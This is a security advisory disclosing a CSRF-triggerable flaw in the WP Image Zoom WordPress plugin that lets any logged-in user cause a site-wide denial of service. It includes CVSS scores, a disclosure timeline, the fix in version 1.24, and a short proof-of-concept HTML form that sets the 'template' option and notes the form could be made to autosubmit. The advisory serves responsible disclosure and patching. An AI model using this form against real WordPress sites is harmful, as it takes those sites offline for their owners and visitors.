WP Image Zoom allows anybody to cause denial of service


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WP Image Zoom includes an AJAX action which allows any logged in user to set any option to “1”. This means that any logged in user can cause a denial of service for all WP URLs by setting the “template” option to “1”.

Additionally, this vulnerability can be triggered via CSRF meaning that anybody who can convince a logged in user to follow a link can also cause a denial of service.

Current state: Fixed

CVSS Summary

CVSS base scores for this vulnerability
Score 7.5 High
Vector Network
Complexity Low
Authentication Single
Confidentiality None
Integrity Partial
Availability Complete
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Proof of concept

Press the submit button in the following HTML snippet:

<form action="http://localhost/wp-admin/admin-ajax.php" method="POST">
 <input type="text" name="action" value="iz_dismiss">
 <input type="text" name="option" value="template">
 <input type="submit">

This will set the template option to 1 causing fatal errors for any WordPress URL.

In a real attack the form could be set to autosubmit so no user interaction is required except for following a link.

Advisory timeline

  • 2018-03-20: Discovered
  • 2018-03-27: Reported to author via¬†
  • 2018-03-27: Vendor responded
  • 2018-03-29: Vendor reported issue fixed in version 1.24
  • 2018-04-10: Advisory published
  • 2018-06-07: CVE requested
  • 2018-06-23: CVE assigned

Mitigation/further actions

Upgrade to version 1.24 or later.